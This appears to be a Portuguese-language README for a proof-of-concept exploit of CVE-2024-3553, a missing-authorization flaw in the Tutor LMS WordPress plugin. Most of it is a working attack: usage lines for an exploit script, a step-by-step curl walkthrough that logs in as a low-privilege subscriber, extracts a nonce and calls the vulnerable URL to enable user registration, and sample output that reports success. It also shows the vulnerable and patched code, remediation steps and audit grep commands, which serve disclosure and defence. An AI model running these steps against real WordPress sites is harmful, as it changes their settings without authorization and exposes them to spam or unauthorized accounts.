
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
O plugin Tutor LMS – solução de e-learning e cursos online para WordPress está vulnerável a modificação não autorizada de dados devido à falta de verificação de capacidade na função hide_notices() em todas as versões até a 2.6.2 inclusive. Isso possibilita que atacantes autenticados (incluindo usuários de baixo privilégio, como assinantes) ativem o registro de usuários em sites que podem tê-lo desativado pelos administradores.
Um exploit Python completo está disponível: exploit-cve-2024-3553-v2.py
# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Pré-requisitos:
Passo 1: Faça login como Usuário de Baixo Privilégio
# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Passo 2: Extraia o Nonce da Área Administrativa
# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Passo 3: Execute o Exploit
# Send request to enable user registration
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Passo 4: Verifique o Sucesso
# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
Exploit CVE-2024-3553 - Autorização Ausente no Tutor LMS
Alvo: https://target.com
======================================================================
[*] Verificando status atual do registro...
[+] O registro está atualmente DESATIVADO
[*] Tentando fazer login como: subscriber
[+] Login bem-sucedido como: subscriber
[*] Passo 2: Extraindo nonce da área administrativa...
[+] Nonce encontrado: abc123def456
[*] Passo 3: Executando exploit para ativar o registro de usuários...
[*] Alvo: https://target.com
[*] Usando nonce: abc123def456
[*] URL do exploit: https://target.com/wp-admin/index.php
[*] Parâmetros: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Status da resposta: 200
[+] Requisição do exploit enviada com sucesso!
[*] Passo 4: Verificando o sucesso da exploração...
[+] O registro está atualmente ATIVADO
======================================================================
[!] EXPLORAÇÃO BEM-SUCEDIDA!
[!] O registro de usuários agora está ATIVADO
[!]
[!] Impacto: Um atacante com uma conta de baixo privilégio (assinante)
[!] conseguiu ativar o registro de usuários em um site onde estava
[!] desativado. Isso pode permitir a criação de contas adicionais,
[!] potencialmente levando a spam ou acesso não autorizado.
======================================================================
Arquivo: /classes/User.php (Linhas ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// NO CAPABILITY CHECK - Any authenticated user can execute this!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Pontos-chave da Vulnerabilidade:
is_admin() apenas verifica se a requisição é para uma página de administração, NÃO se o usuário é administrador/wp-admin/ (mesmo assinantes)current_user_can('manage_options')users_can_registerArquivo: /classes/User.php (Versão corrigida)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// SECURITY FIX: Added capability check
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Now properly protected
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
A correção adiciona current_user_can('manage_options') para verificar se o usuário tem privilégios de administrador antes de permitir a atualização da opção.
Esta vulnerabilidade demonstra um equívoco crítico sobre as funções de autorização do WordPress:
ERRADO ❌:
if ( is_admin() ) {
// Pensando que isso significa "usuário é administrador"
update_option( 'sensitive_option', $value );
}
CORRETO ✅:
if ( current_user_can( 'manage_options' ) ) {
// Verifica se o usuário tem capacidades de administrador
update_option( 'sensitive_option', $value );
}
A segurança adequada do WordPress requer múltiplas camadas:
A ausência de QUALQUER dessas camadas pode levar a vulnerabilidades.
Para Administradores de Sites:
Atualize para a versão 2.7.0 do Tutor LMS ou superior imediatamente:
# Via WP-CLI
wp plugin update tutor --version=2.7.0
# Via Administração WordPress
Painel → Plugins → Encontre "Tutor LMS" → Clique em "Atualizar Agora"
Audite Alterações Recentes:
# Verifique se a configuração de registro foi modificada recentemente
wp option get users_can_register
# Revise registros de usuários recentes
wp user list --orderby=registered --order=DESC --number=20
is_admin() para autorizaçãocurrent_user_can() para verificações de capacidadeAo auditar plugins do WordPress para problemas de autorização:
# 1. Search for is_admin() without capability checks
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Look for direct option updates
grep -r "update_option\|add_option" .
# 3. Find AJAX handlers without capability checks
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - Este arquivoexploit-cve-2024-3553.py - Exploit Python básicoexploit-cve-2024-3553-v2.py - Exploit Python aprimorado com documentação detalhadamanual-exploit-cve-2024-3553.sh - Script de exploração manualtest-cve-2024-3553-direct.sh - Script de verificação diretaDescoberto: 2024-04-15 Divulgado: 2024-05-20 Corrigido: 2024-05-21 (v2.7.0) Data do Teste: 2025-12-26 Classificação: Validação de Vulnerabilidade Bem-sucedida
| Função | O Que Realmente Verifica | Uso de Segurança |
|---|
is_admin() | Se a URL atual está em /wp-admin/ | ❌ NÃO para autorização |
current_user_can() | Se o usuário tem capacidade específica | ✅ Autorização adequada |
wp_verify_nonce() | Se a requisição é intencional (proteção CSRF) | ✅ Mas não é suficiente sozinho |